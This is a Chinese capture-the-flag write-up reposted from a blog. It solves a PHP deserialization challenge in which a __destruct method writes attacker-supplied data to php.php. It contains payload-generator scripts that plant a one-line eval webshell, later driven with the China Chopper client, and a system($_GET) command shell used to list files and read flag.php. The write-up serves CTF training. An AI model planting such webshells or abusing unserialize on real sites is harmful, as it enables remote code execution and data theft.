暑期第二阶段 day1:php反序列化漏洞攻击例题

这里写图片描述
拿到题目就是一段代码

 <?php
error_reporting(0);
if(empty($_GET['code'])) die(show_source(__FILE__));
class example
{
    var $var='123';

    function __destruct(){//当类消失时
        $fb = fopen('./php.php','w');
        fwrite($fb, $this->var);//写到php.php这个文件中
        fclose($fb);
    }
}

$class = $_GET['code'];
$class_unser = unserialize($class);//进行反序列化
unset($class_unser);
?> 

写一个php的脚本,执行得到一串序列化后字符串

<?php
class example
{
    var $var='<?php @eval($_POST[pass]);?>';//一句话木马
}
$a=new example();//顶替原来的example,从而执行destruct函数,所以名称还是要写成example
echo serialize($a);//输出序列化后的结果
?>

将这段字符串get传值给code,便能执行我们赋值给var的语句
这时候有个要注意的点:
因为浏览器自动过滤的功能,他一般不会把php代码显示出来,所以要看源码才知道完整的字符串
这里写图片描述
传完后,访问php.php,虽然没什么东西
这里写图片描述
这时候我们打开菜刀,便可访问里面的文件
这里写图片描述
这里写图片描述

第二种方法

我们脚本给var的值换一下:

<?php
class example
{
   var $var='<?php system($_GET[a]);';
}
$a = new example();
echo serialize($a);
?>

system函数的作用就是执行外部程序,并输出显示
在这里它便是执行我们get传值给a的语句
步骤还和上面一样,只是这里我们先让a=ls
ls是一个命令,可以把当前目录下所有文件名输出来
这里写图片描述
这时候我们当然是访问flag.php了
这时首页面没有东西,还是因为过滤,在源码里找到了flag
这里写图片描述
总结:需要我们代码审计后写一个小的脚本,同时要注意浏览器的过滤
lv99
这里写图片描述

猜你喜欢

转载自blog.csdn.net/qq_41618162/article/details/82082864